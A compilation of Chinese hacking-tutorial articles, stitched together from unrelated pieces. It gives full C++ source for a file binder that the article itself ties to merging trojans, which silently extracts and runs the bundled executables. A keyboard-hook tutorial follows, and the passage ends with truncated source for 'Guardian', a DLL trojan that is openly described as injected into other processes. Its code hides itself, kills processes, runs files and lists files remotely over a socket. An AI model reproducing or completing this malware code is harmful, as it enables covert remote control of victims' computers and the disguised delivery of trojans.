是不是很简单呢，如果我们再加上其他功能，比如遍历所有文件查找病毒，清除病毒并清楚病毒留下的东西，是不是就成为了专杀软件了。
以下就是增加了目录遍历功能的程序，有空我在增加其他的~~~


如何将多个文件捆绑成一个可执行文件

信息来源：hackbase.com
将多个文件合并成一个最终可执行文件，运行这个最终合成文件后，就相当于运行了合并前的多个文件。这种程序在木马程序合并中会经常用到，你想知道它是怎么用程序实现的么？下面我就拿我用VC6.0做的一个文件捆绑器的例子代码来告诉你，程序运行后界面如下：
图例
基本构成思想：其实，其中的构成思想非常简单。合并文件时：建立一个新的二进制文件，先写入你的自身捆绑程序的数据和其文件长度，再写入你要捆绑的第一个文件的数据和其文件长度，后再直接写入你要捆绑的第二个文件的数据和文件长度……，最后可直接写入你要捆绑的最后一个文件的数据(不需其文件长度)。分解释放最终合成文件时，也就是将上面的方法思想倒过来既可：打开最终合成文件，读取源自身捆绑程序文件长度，将文件指针移到自身捆绑程序数据后，读取第一个被绑定文件的长度，接着读取其长度的文件数据并写入到一新建文件1中，再读取第二个被绑定文件的长度，接着读取其长度的数据并写入到新建文件2中……，直到最后直接读取最后一个被绑定文件的数据并将其写入到最后一个新建文件中既可。(下面实例仅告诉你如何实现二个文件的捆绑，至于多个文件的捆绑，读者只需略加改动既可，详情请查看下载后的实例代码。)
下面我来讲讲文件捆绑最核心的部分，以及如何具体将其用代码来实现的方法：
1、 捆绑多个文件为一个可执行程序
先得到自身捆绑程序的文件长度和第一个要捆绑文件的文件长度，枚举第一个要捆绑文件有无图标，有的话就用它做为最终生成文件的图标，否则用自身捆绑程序所带默认图标做最终生成文件的图标。在新建二进制文件中写入自身捆绑程序的数据和其文件长度，再写入第一个要捆绑文件的数据及其文件长度，最后直接写入第二个文件的数据既可。
? 合并程序涵数的具体代码实现如下：
//定义要使用到的捆绑程序自身文件信息的结构体
struct MODIFY_DATA
        {
unsigned int finder; // 常量(定位自身)
_off_t my_length; //文件长度(自身)
} modify_data = {0x12345678, 0};
//绑定二个文件为一个可执行文件
bool CBindFileDlg::Bind_Files()
{
FILE* myself; //自身文件
FILE* out; //最终合成文件
FILE* in; //待绑定文件
int bytesin; //一次读文件字节数
int totalbytes = 0; //读出文件总字节数
struct _stat ST; //文件的状态信息(如文件长度等)
unsigned int finder = 0x12345678; //自身文件定位
unsigned int i, k;
int l=1; //进度条状态显示变量
char buff[20]; //进度条状态显示变量
his_name = strFirstFilePath; //第一个绑定的文件名
_stat(my_name, &ST); //获取自身捆绑文件信息
modify_data.my_length = ST.st_size; //得到自身文件长度
if
        (modify_data.my_length == 0)
{
MessageBox("绑定文件中，自身文件长度为零时出错!","错误");
return false;
}
buf = (BYTE *)malloc(modify_data.my_length);
        //分配一定大小缓冲区
if (buf == NULL)
{
MessageBox("绑定文件中，分配自身文件长度时出错!","错误");
return false;
}
myself = fopen(my_name, "rb"); //打开自身文件
if
        (myself == NULL)
{
free(buf);
MessageBox("绑定文件中，打开自身文件时出错!","错误");
return false;
}
//先读取捆绑程序自身文件数据
bytesin = fread(buf, 1,
        modify_data.my_length, myself);
fclose(myself);
if (bytesin != modify_data.my_length)
{
free(buf);
MessageBox("绑定文件中，不能完全读取自身文件内容时出错!","错误");
return
        false;
}
//存储自身文件信息到缓冲区(如长度)
for (i = 0; i <
        modify_data.my_length - sizeof(finder); i += sizeof(finder))
{
for (k = 0; k < sizeof(finder); k++)
{
if (buf[i+k] !=
        ((BYTE*)&finder)[k])
break;
}
if (k == sizeof(finder))
        //定位并保存自身数据文件信息
{
memcpy(buf+ i, &modify_data,
        sizeof(modify_data));
break;
}
}
if (i >= modify_data.my_length -
        sizeof(finder))
{
free(buf);
MessageBox("绑定文件中，不能定位自身文件时出错!","错误");
return false;
}
//获取第一个要绑定文件的信息(文件长度)
if
        (_stat(strFirstFilePath, &ST) != 0 || ST.st_size == 0)
{
free(buf);
MessageBox("绑定文件中，读取第一个要绑定文件时出错!","错误");
return
        false;
}
//获取自身文件图标及第一个要绑定文件的图标(如第一个要绑定文件没有图标，
//则用自身文件图标。其涵数实现请参看例程)
list_my_icons();
out = fopen(strFinalFilePath, "wb"); //创建最终合成文件
if (out == NULL)
{
free(buf);
MessageBox("绑定文件中，创建绑定后生成的合成文件时出错!","错误");
return false;
}
//先将前面读出的自身捆绑程序的数据写入最终合成文件中
totalbytes += fwrite(buf, 1, bytesin, out);
in = fopen(strFirstFilePath, "rb");
        //打开第一个要绑定的文件
if (in == NULL)
{
free(buf);
MessageBox("绑定文件中，打开第一个要绑定文件时出错!","错误");
return false;
}
//写入第一个要绑定文件的长度到最终合成文件中
totalbytes += fwrite(&ST.st_size, 1, sizeof(ST.st_size), out);
//写入最终分解后文件执行方式的标志位(同步或异步执行)
UpdateData(TRUE); //传控件值到变量m_Sync中
totalbytes += fwrite(&m_Sync, 1, sizeof(int), out);
//写入第一个要绑定文件的数据到最终合成文件中
while (bytesin =
        fread(buf, 1, modify_data.my_length, in))
{
totalbytes +=
        fwrite(buf, 1, bytesin, out);
}
fclose(in); //关闭第一个绑定文件句柄
//设置进度条显示
m_Progress.SetRange(0,500);
for (int m = 0; m < 500; m++)
m_Progress.SetPos(m);
m_Parts = _ltoa(l, buff, 10);
m_Parts += _T("个文件已绑定");
UpdateData(FALSE);
l++;
in = fopen(strSecondFilePath, "rb");
        //打开第二个要绑定的文件
if (in == NULL)
{
free(buf);
MessageBox("绑定文件中，打开第二个要绑定文件时出错!","错误");
return false;
}
//直接写入第二个要绑定文件的数据到最终合成文件中
while (bytesin = fread(buf, 1,
        modify_data.my_length, in))
{
totalbytes += fwrite(buf, 1,
        bytesin, out);
}
//设置进度条显示
m_Progress.SetRange(0,500);
for (int n = 0; n < 500; n++)
m_Progress.SetPos(n);
m_Parts = _ltoa(l, buff, 10);
m_Parts += _T("个文件已绑定");
UpdateData(FALSE);
l++;
fclose(in); //关闭第二个绑定文件句柄
fclose(out);
        //关闭最终合成文件句柄
free(buf); //释放缓冲区
return true;
}
2、 释放最终合成文件并同3、 时运行它们。
打开自身文件，从中得到自身捆绑程序的文件长度，便可将文件指针定位到第一个被捆绑文件的位置，读取其文件长度和其数据，将其读出数据写入第一个新建文件中。同样，通过已读取的自身捆绑程序文件长度和第一个被捆绑文件的文件长度加上其保存这两个文件长度值的字节数，既可准确定位第二个被捆绑文件的位置，读取其数据，写入到第二个新建文件中。同时，运行这两个文件，最后再删除这两个文件既可。
? 释放最终合成文件的代码具体实现如下：
//创建分解文件后，运行各分解文件时的进程
void CBindFileDlg::Create_Process(const char* temp_exe, BOOL async)
{
HANDLE hProcess; //进程句柄
HANDLE hThread; //线程句柄
PROCESS_INFORMATION PI; //进程信息
STARTUPINFO SI; //启动信息
memset(&SI, 0, sizeof(SI)); //分配一定的内存
SI.cb = sizeof(SI); //大小赋给启动信息内CB
CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIOR_blank>ITY_CLASS, NULL, NULL, &SI, &PI);
/* --- 暂不用，否则需要保存原始绑定的文件名称
//如果分解后的文件不是执行文件的话，则直接打开它
if(!CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIOR_blank>ITY_CLASS, NULL, NULL, &SI, &PI))
HINSTANCE result =ShellExecute(NULL, _T("open"), temp_exe, NULL,NULL, SW_SHOW);
--- */
hProcess = PI.hProcess;
hThread =
        PI.hThread;
//异步执行时，执行后不删除分解后的文件;同步执行时，执行后删除分解后的文件
if (!async)
        //当同步执行时
{
//一直等待，直到当前程序运行进程结束
WaitForSingleObject(hProcess,
        INFIN_blank>ITE);
unlink(temp_exe); //删除temp.exe文件
}
}
//分解已合并的文件，同时运行它们
void
        CBindFileDlg::Unbind()
{
FILE* myself; //自身文件
FILE* out;
        //分解后文件
int bytesin; //一次读出文件的字节数
int totalbytes = 0;
        //读出文件的总字节数
char temp_exe1[] = "temp1.exe"; //分解后的绑定文件名一(可任意取)
char temp_exe2[] = "temp2.exe"; //分解后的绑定文件名二(可任意取)
int SyncFlag;
        //文件最终执行标志(同步或异步)
//先分配一定大小的缓冲区(大小等于捆绑程序长度)
buf = (BYTE*)malloc(modify_data.my_length);
myself = fopen(my_name, "rb"); //打开最终合成文件
if (myself == NULL)
{
free(buf);
MessageBox("分离文件中，打开自身文件时出错!","错误");
return;
}
out = fopen(temp_exe1, "wb"); //创建第一个绑定的文件
if (out == NULL)
{
free(buf);
MessageBox("分离文件中，创建第一个被绑定文件时出错!","错误");
return;
}
//将文件指针定位到捆绑器程序长度尾部
fseek(myself, modify_data.my_length, SEEK_SET);
//读取第一个绑定文件的长度
if
        (fread(&prog1_length, sizeof(prog1_length), 1, myself) == 0)
{
free(buf);
MessageBox("分离文件中，读取第一个被绑定文件长度时出错!","错误");
return;
}
//读取最终文件执行方式(同步或异步执行)
if
        (fread(&SyncFlag, sizeof(int), 1, myself) == 0)
{
free(buf);
MessageBox("分离文件中，读取第一个被绑定文件长度时出错!","错误");
return;
}
//读取第一个文件内容并写入到新建的temp1.exe文件中
while
        (bytesin = fread(buf, 1, sizeof(buf), myself))
{
if (totalbytes
        + bytesin > prog1_length)
bytesin = prog1_length - totalbytes;
totalbytes += fwrite(buf, 1, bytesin, out);
}
fclose(out);
        //关闭第一个绑定文件句柄
#ifdef DEBUG_PRINT
fprintf(stderr, "已复制 %d 字节!\n", totalbytes);
#endif DEBUG_PRINT
totalbytes = 0;
out = fopen(temp_exe2,
        "wb"); //创建第二个绑定的文件
if (out == NULL)
{
free(buf);
MessageBox("分离文件中，创建第二个被绑定文件时出错!","错误");
return;
}
//将文件指针定位到最终合成文件中的第二个绑定文件头部, 偏移量 ==
//(捆绑器自身文件长度+保存第一个绑定文件长度所占字节数+保存最终文件执行标志所占字节数+第一个绑定文件长度)
fseek(myself,modify_data.my_length+ sizeof(modify_data.my_length) +
        sizeof(int) + prog1_length, SEEK_SET);
//读取第二个绑定文件内容并写入到新建的temp2.exe文件中
while
        (bytesin = fread(buf, 1, sizeof(buf), myself))
{
totalbytes +=
        fwrite(buf, 1, bytesin, out);
}
fclose(out); //关闭第二个绑定文件句柄
#ifdef DEBUG_PRINT
fprintf(stderr, "已复制 %d 字节\n", totalbytes);
#endif DEBUG_PRINT
fclose(myself); //关闭最终合成文件句柄
if (totalbytes == 0)
{
free(buf);
MessageBox("分离文件中，在自身文件中没有被分离的对象!","错误");
return;
}
free(buf); //释放缓冲区
//判断前面读取的最终文件执行标志，来决定以何种方式运行它
if(!SyncFlag)
        //(0 -- 同步执行，1 -- 异步执行)
{
//置为分解后，为同步执行方式
Create_Process(temp_exe1, false);
Create_Process(temp_exe2,
        false);
}
else
{
//置为分解后，为异步执行方式
Create_Process(temp_exe1, true);
Create_Process(temp_exe2,
        true);
}
}
3、判断何时捆绑程序，何时又分解最终合成程序。
由于本程序是将自身捆绑程序作为文件头，要绑定文件附加其后方式生成最终合成文件的。所以，只要知道自身捆绑程序的文件长度，再在初始化对话框涵数OnInitDialog()加以判断及可知道是否是最终合成文件(要不要释放内部绑定文件)。本例程用VC6.0采用静态连接方式生成的Release版，文件大小为184K。
故判断是捆绑还是释放文件的代码具体实现如下：
BOOL
        CBindFileDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Add "About..." menu item to system menu.
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if
        (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if
        (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// Set the icon for this dialog. The framework does this automatically
// when the application''s main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
//在此初始化渐变色进度条
m_Progress.SetRange32(1,500);
m_Progress.SetBkColor(RGB(160,180,220));
m_Progress.ShowPercent(true);
m_Progress.SetPos(500);
//初始置各文件名变量为空
strFirstFilePath = "";
        //要绑定第一个文件名
strSecondFilePath = ""; //要绑定第二个文件名
strFinalFilePath
        = ""; //最终合成文件名
//初始化变量
prog1_length = 0; //文件长度
his_name = ""; //绑定文件名
buf = NULL; //缓冲区置空
//获取自身文件名到my_mane变量中
::GetModuleFileName(0, my_name,
        sizeof(my_name));
struct _stat ST;
_stat(my_name, &ST);
        //获取自身文件信息(长度)
//在此加入捆绑器程序的最终大小，来判断是绑定文件还是分解执行文件
//当发现自身文件大小大于原大小184K时，为释放内部合成文件
if(ST.st_size > 184*1024)
{
Unbind(); //分离文件并运行
exit(0); //直接退出程序,不显示捆绑程序画面
}
return TRUE; // return TRUE unless you set the focus to a control
}
其中具体实现细节问题，可在下载实例代码后，仔细查看既可(内有详细注释)。


WINDOW的消息处理机制为了能在应用程序中监控系统的各种事件消息，提供了挂接各种反调函数(HOOK)的功能。这种挂钩函数(HOOK)类似扩充中断驱动程序，挂钩上可以挂接多个反调函数构成一个挂接函数链。系统产生的各种消息首先被送到各种挂接函数，挂接函数根据各自的功能对消息进行监视、修改和控制等，然后交还控制权或将消息传递给下一个挂接函数以致最终达到窗口函数。WINDOW系统的这种反调函数挂接方法虽然会略加影响到系统的运行效率，但在很多场合下是非常有用的，通过合理有效地利用键盘事件的挂钩函数监控机制可以达到预想不到的良好效果。
一、在WINDOWS键盘事件上挂接监控函数的方法
WINDOW下可进行挂接的过滤函数包括11种：
WH_CALLWNDPROC 窗口函数的过滤函数
WH_CBT 计算机培训过滤函数
WH_DEBUG 调试过滤函数
WH_GETMESSAGE 获取消息过滤函数
WH_HARDWARE 硬件消息过滤函数
WH_JOURNALPLAYBACK 消息重放过滤函数
WH_JOURNALRECORD 消息记录过滤函数
WH_MOUSE 鼠标过滤函数
WH_MSGFILTER 消息过滤函数
WH_SYSMSGFILTER 系统消息过滤函数
WH_KEYBOARD 键盘过滤函数
其中键盘过滤函数是最常用最有用的过滤函数类型，不管是哪一种类型的过滤函数，其挂接的基本方法都是相同的。
WINDOW调用挂接的反调函数时总是先调用挂接链首的那个函数，因此必须将键盘挂钩函数利用函数SetWindowsHookEx()将其挂接在函数链首。至于消息是否传递给函数链的下一个函数是由每个具体函数功能确定的，如果消息需要传统给下一个函数，可调用API函数的CallNextHookEx()来实现，如果不传递直接返回即可。挂接函数可以是用来监控所有线程消息的全局性函数，也可以是单独监控某一线程的局部性函数。如果挂接函数是局部函数，可以将它放到一个.DLL动态链接库中，也可以放在一个局部模块中；如果挂接函数是全局的，那么必须将其放在一个.DLL动态链接库中。挂接函数必须严格按照下述格式进行声明，以键盘挂钩函数为例：
int FAR PASCAL KeyboardProc(int nCode,WORD wParam,DWORD lParam)
其中KeyboardProc为定义挂接函数名，该函数必须在模块定义文件中利用EXPORTS命令进行说明；nCode决定挂接函数是否对当前消息进行处理；wParam和lParam为具体的消息内容。
二、键盘事件挂接函数的安装与下载
在程序中可以利用函数SetWindowsHookEx()来挂接过滤函数，在挂接函数时必须指出该挂接函数的类型、函数的入口地址以及函数是全局性的还是局部性的，挂接函数的具体调用格式如下：
SetWindowsHookEx(iType,iProc,hInst,iCode)
其中iType为挂接函数类型，键盘类型为WH_KEYBOARD,iProc为挂接函数地址，hInst为挂接函数链接库实例句柄，iCode为监控代码－0表示全局性函数。如果挂接函数需要将消息传递给下一个过滤函数，则在该挂接函数返回前还需要调用一次CallNextHookEx()函数，当需要下载挂接函数时，只要调用一次UnhookWindowsHookEx(iProc)函数即可实现。如果函数是全局性的，那么它必须放在一个.DLL动态链接库中，这时该函数调用方法可以和其它普通.DLL函数一样有三种：
1.在DEF定义文件中直接用函数名或序号说明：
EXPORTS
WEP @1 RESIDENTNAME
InitHooksDll @2
InstallFilter @3
KeyboardProc @4
用序号说明格式为：链接库名.函数名(如本例中说明方法为KEYDLL.KeyboardProc)。
2.在应用程序中利用函数直接调用：
首先在应用程序中利用LoadLibrary(LPSTR "链接库名")将动态链接库装入，并取得装载库模块句柄hInst,然后直接利用GetProcAddress(HINSTANCE hInst,LPSTR "函数过程名")获取函数地址，然后直接调用该地址即可，程序结束前利用函数FreeLibrary( )释放装入的动态链接库即可。
3.利用输入库.LIB方法
利用IMPLIB.EXE程序在建立动态链接库的同时建立相应的输入库.LIB，然后直接在项目文件中增加该输入库。
三、WINDOWS挂钩监控函数的实现步骤
WINDOWS挂钩函数只有放在动态链接库DLL中才能实现所有事件的监控功能。在.DLL中形成挂钩监控函数基本方法及其基本结构如下：
１、首先声明DLL中的变量和过程；
２、然后编制DLL主模块LibMain()，建立模块实例；
３、建立系统退出DLL机制WEP()函数；
４、完成DLL初始化函数InitHooksDll(),传递主窗口程序句柄；
５、编制挂钩安装和下载函数InstallFilter()；
６、编制挂钩函数KeyboardProc()，在其中设置监控功能，并确定继续调下一个钩
子函数还是直接返回WINDOWS应用程序。
７、在WINDOWS主程序中需要初始化DLL并安装相应挂钩函数，由挂接的钩子函数负
责与主程序通信；
８、在不需要监控时由下载功能卸掉挂接函数。
四、WINDOWS下键盘挂钩监控函数的应用技术
目前标准的104 键盘上都有两个特殊的按键，其上分别用WINDOW程序徽标和鼠标下拉列表标识，本文暂且分别称为Micro左键和Micro右键，前者用来模拟鼠标左键激活开始菜单，后者用来模拟鼠标右键激活属性菜单。这两个特殊按键只有在按下后立即抬起即完成 CLICK过程才能实现其功能，并且没有和其它按键进行组合使用。由于WINDOWS 系统中将按键划分得更加详细，使应用程序中很难灵活定义自己的专用快捷键，比如在开发.IME等应用程序时很难找到不与WORD8.0等其它应用程序冲突的功能按键。如果将标准104键盘中的这两个特殊按键作为模拟CTRL和ALT 等专用按键，使其和其它按键组合，就可以在自己的应用程序中自由地设置专用功能键，为应用程序实现各种功能快捷键提供灵活性。正常情况下WINDOWS 键盘事件驱动程序并不将这两个按键的消息进行正常解释，这就必须利用键盘事件的挂钩监控函数来实现其特定的功能。其方法如下：
１、首先编制如下一个简单动态链接库程序，并编译成DLL文件。
#include "windows.h"
int FAR PASCAL LibMain(HANDLE hModule,UINT wDataSeg,UINT cbHeapSize,LPSTR lpszCmdLine);
int WINAPI WEP(int bSystemExit);
int WINAPI InitHooksDll(HWND hwndMainWindow);
int WINAPI InstallFilter(BOOL nCode);
LRESULT CALLBACK KeyHook(int nCode,WORD wParam,DWORD lParam);
static HANDLE hInstance; // 全局句柄
static HWND hWndMain; // 主窗口句柄
static int InitCalled=0; // 初始化标志
static HHOOK hKeyHook;
FARPROC lpfnKeyHook=(FARPROC)KeyHook;
BOOL HookStates=FALSE;
int FAR PASCAL LibMain(
HANDLE hModule,
UINT wDataSeg,
UINT cbHeapSize,
LPSTR lpszCmdLine)
{
if (cbHeapSize!=0) UnlockData(0);
hInstance = hModule;
return 1;
}
int WINAPI WEP (int bSystemExit)
{ return 1;}
int WINAPI InitHooksDll(HWND hwndMainWindow)
{ hWndMain = hwndMainWindow;
InitCalled = 1;
return (0);
}
int WINAPI InstallFilter(BOOL nCode)
{ if (InitCalled==0) return (-1);
if (nCode==TRUE) {
hKeyHook=SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)lpfnKeyHook,hInstance,0);
HookStates=TRUE;
} else {
UnhookWindowsHookEx(hKeyHook);
HookStates=FALSE;
}
return(0);
}
LRESULT CALLBACK KeyHook(int nCode,WORD wParam,DWORD lParam)
{
static BOOL msflag=FALSE;
if(nCode>=0) {
if(HookStates==TRUE){
if((wParam==0xff)|| //WIN3.X下按键值
(wParam==0x5b)||(wParam==0x5c)){//WIN95下按键值
if((i==0x15b)||(i==0x15c)){ //按键按下处理
msflag=TRUE;
PostMessage(hWndMain,0x7fff,0x1,0x3L);
} else if((i==0xc15b)||(i==0xc15c)){//按键抬起处理
msflag=FALSE;
PostMessage(hWndMain,0x7fff,0x2,0x3L);
}
}
}
}
return((int)CallNextHookEx(hKeyHook,nCode,wParam,lParam));
}
该程序的主要功能是监控键盘按键消息，将两个特殊按键Micro按下和抬起消息转换成自定义类型的消息，并将自定义消息发送给应用程序主窗口函数。
２、在应用程序主函数中建立窗口后，调用InitHooksDll()函数来初始化动态链接库，并将应用程序主窗口句柄传递给链接库，然后调用InstallFilter()函数挂接键盘事件监控回调函数。
InitHooksDll(hIMEWnd); //初始化DLL
InstallFilter(TRUE); //安装键盘回调函数
３、在应用程序主窗口函数处理自定义消息时，保存Micro按键的状态，供组合按键处理时判断使用。
switch (iMessage) {
case 0x7fff: //自定义消息类型
if(lParam==0x3L){//设置Micro键的状态
if(wParam==0x1) MicroFlag=TRUE;
else if(wParam==0x2) MicroFlag=FALSE;
}
break;
４、在进行按键组合处理时，首先判断Micro键是否按下，然后再进行其它按键的判断处理。
case WM_KEYDOWN: // 按键按下处理
if(MicroFlag==TRUE){//Micro键按下
if((BYTE)HIBYTE(wParam)==0x5b){
//Micro+"["组合键
......//按键功能处理
} else if((BYTE)HIBYTE(wParam)==0x5d){
//Micro+"]"组合键
......//按键功能处理
}
}
break;
５、当应用程序退出时应注意下载键盘监控函数，即调用InstallFilter(FALSE)函数一次。
６、利用本文提供的方法设置自己的应用程序功能按键，在保证程序功能按键不会与其它系统发生冲突的同时，有效地利用了系统中现有资源，而且在实现应用程序功能的同时灵活应用了系统中提供的各种功能调用。


Dll守护进程
获取远程时间：NetRemoteTOD()
获取远程时间：NetRemoteTOD()
添加一项任务：NetScheduleJobAdd()
WARING:
/////////////////////////////////////////////////////////////////////////////////////////

关于守护者：
守护者是一个DLL木马，利用远线程在指定的进程中加载，由于这是一个测试版本所以只有一些基本的工能，如文件操作，关机，杀进程，一些其他的功能我会陆续加入
此代码在WIN2000SERVER  BCB5下通过，局域网测试通过！！
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
先是DLL的源码：

#pragma hdrstop
file://---------------------------------------------------------------------------
#pragma argsused
#include
#include
#include
#include
#include
#include
#include
file://注册服务
#define
        SERVICE_PROC 1
file://卸载服务
#define UNSERVICE_PROC 0
#define
        TH32CS_SNAPPROCESS 0x00000002
#define PROCESS_HANDLE_NAME 255
file://缓冲区长度
#define dwBuffSize 2048
file://命令行长度
#define dwComm 50
#define PORT 8491
#define WM_SOCKET
        WM_USER+1
#define PROMPT "QUEEN:\\>"
DWORD
        dwVersion=MAKEWORD(1,1);
DWORD dwFlag=TRUE;
WSADATA wsaData;
SOCKET CreateSock,NewSock;
SOCKADDR_IN Sock_in,NewSock_in;
LPTSTR szReadBuff,Ob,TempBuff;
int addrlen;
HINSTANCE
        DLLInst;
DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD);
file://---------------------------------------------------------------------------
// GetOS
// 判断操作系统
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
DWORD WINAPI GetOS()
{
OSVERSIONINFO os;
TCHAR sVersion[MAX_PATH];
os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&os);
switch(os.dwPlatformId)
{
case
        VER_PLATFORM_WIN32_WINDOWS:
return VER_PLATFORM_WIN32_WINDOWS;
case VER_PLATFORM_WIN32_NT:
return VER_PLATFORM_WIN32_NT;
}
}
file://---------------------------------------------------------------------------
// HideProc
// 注册进程
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
BOOL WINAPI HideProc(int mode)
{
DLLInst=LoadLibrary("KERNEL32.DLL");
if(DLLInst)
{
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))
GetProcAddress(DLLInst,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),mode);
return TRUE;
}
else
return FALSE;
}
else return FALSE;
}
////////////////////////////////////////////////////////////////////////////
BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL
        bEnablePrivilege)//设定权限
{
TOKEN_PRIVILEGES tp;
LUID luid;
if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
{
printf("\nLookupPrivilegeValue error:%d", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL);
if (GetLastError()
        != ERROR_SUCCESS)
{
printf("AdjustTokenPrivileges failed: %u\n",
        GetLastError() );
return FALSE;
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////
BOOL KillPS(DWORD id)
{
HANDLE
        hProcess=NULL,hProcessToken=NULL;
BOOL IsKilled=FALSE,bRet=FALSE;
__try
{
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken))
{
printf("\nOpen Current Process Token
        failed:%d",GetLastError());
}
if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))
{
printf("\nSetPrivilege ok!");
}

if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL)
{
printf("\nOpen Process %d failed:%d",id,GetLastError());
}
if(!TerminateProcess(hProcess,1))
{
printf("\nTerminateProcess failed:%d",GetLastError());
}
IsKilled=TRUE;
}
__finally
{
if(hProcessToken!=NULL)
        CloseHandle(hProcessToken);
if(hProcess!=NULL)
        CloseHandle(hProcess);
}
return(IsKilled);
}
file://---------------------------------------------------------------------------
// EnumProcess
// 枚举进程
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
VOID WINAPI EnumProcess()
{
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 pe32= {0};
TCHAR
        szFileName[MAX_PATH];
hProcessSnap =
        CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,//进程列表包含在快照集里
0);//0表示当前进程
if (hProcessSnap == (HANDLE)-1)//调用失败返回-1
{
wsprintf(szFileName,"\nCreateToolhelp32Snapshot()
        failed:%d",GetLastError());
send(NewSock,"\n\r",2,0);
send(NewSock,szFileName,lstrlen(szFileName),0);
}
pe32.dwSize = sizeof(PROCESSENTRY32);
wsprintf(szFileName,"\nProcessName　　　　 ProcessID");
send(NewSock,"\n\r",2,0);
send(NewSock,szFileName,lstrlen(szFileName),0);
if
        (Process32First(hProcessSnap, &pe32))//取得系统快照集中有关的第一个进程的信息
{
do
{wsprintf(szFileName,"\n%-20s%d",pe32.szExeFile,pe32.th32ProcessID);
send(NewSock,"\n\r",2,0);
send(NewSock,szFileName,lstrlen(szFileName),0);
}
while
        (Process32Next(hProcessSnap, &pe32));//取得记录在系统快照集中有关的下一个进程的信息
}
else
{
file://printf("\nProcess32Firstt()
        failed:%d",GetLastError());
}
CloseHandle (hProcessSnap);
}
file://---------------------------------------------------------------------------
// LoadProcess
// 执行文件
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
BOOL WINAPI LoadProcess(LPCTSTR
        szFileName)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si,sizeof(STARTUPINFO));
ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
si.cb=sizeof(STARTUPINFO);
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=SW_SHOWNORMAL;
if(CreateProcess(szFileName,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)==FALSE)
{
return FALSE;
}
return TRUE;
}
file://---------------------------------------------------------------------------
// Dir
// 浏览文件,支持通配符
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
VOID WINAPI Dir(LPCTSTR lParam)
{
WIN32_FIND_DATA wfd;
HANDLE hHandle;
TCHAR
        szFileName[MAX_PATH];
int i;
wsprintf(szFileName,"\n\n\r");
send(NewSock,szFileName,lstrlen(szFileName),0);
lstrcpy(szFileName,lParam);
if((hHandle=FindFirstFile(szFileName,&wfd))!=INVALID_HANDLE_VALUE)
{
do
{
if (wfd.dwFileAttributes &
        FILE_ATTRIBUTE_DIRECTORY)
{
wsprintf(szFileName,"%-20s %10lu
        \n\r",wfd.cFileName,wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
continue;
}
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE)
{
if(wfd.nFileSizeHigh==0)
wsprintf(szFileName,"%-20s %10lu
        ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow);
else
wsprintf(szFileName,"%-20s %10lu
        ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
continue;
}
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_READONLY)
{
if(wfd.nFileSizeHigh==0)
wsprintf(szFileName,"%-20s %10lu
        ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow);
else
wsprintf(szFileName,"%-20s
        %10luARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
continue;
}
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)
{
if(wfd.nFileSizeHigh==0)
wsprintf(szFileName,"%-20s %10lu
        ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow);
else
wsprintf(szFileName,"%-20s %10lu
        ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
continue;
}
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM)
{
if(wfd.nFileSizeHigh==0)
wsprintf(szFileName,"%-20s %10lu
        ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeLow);
else
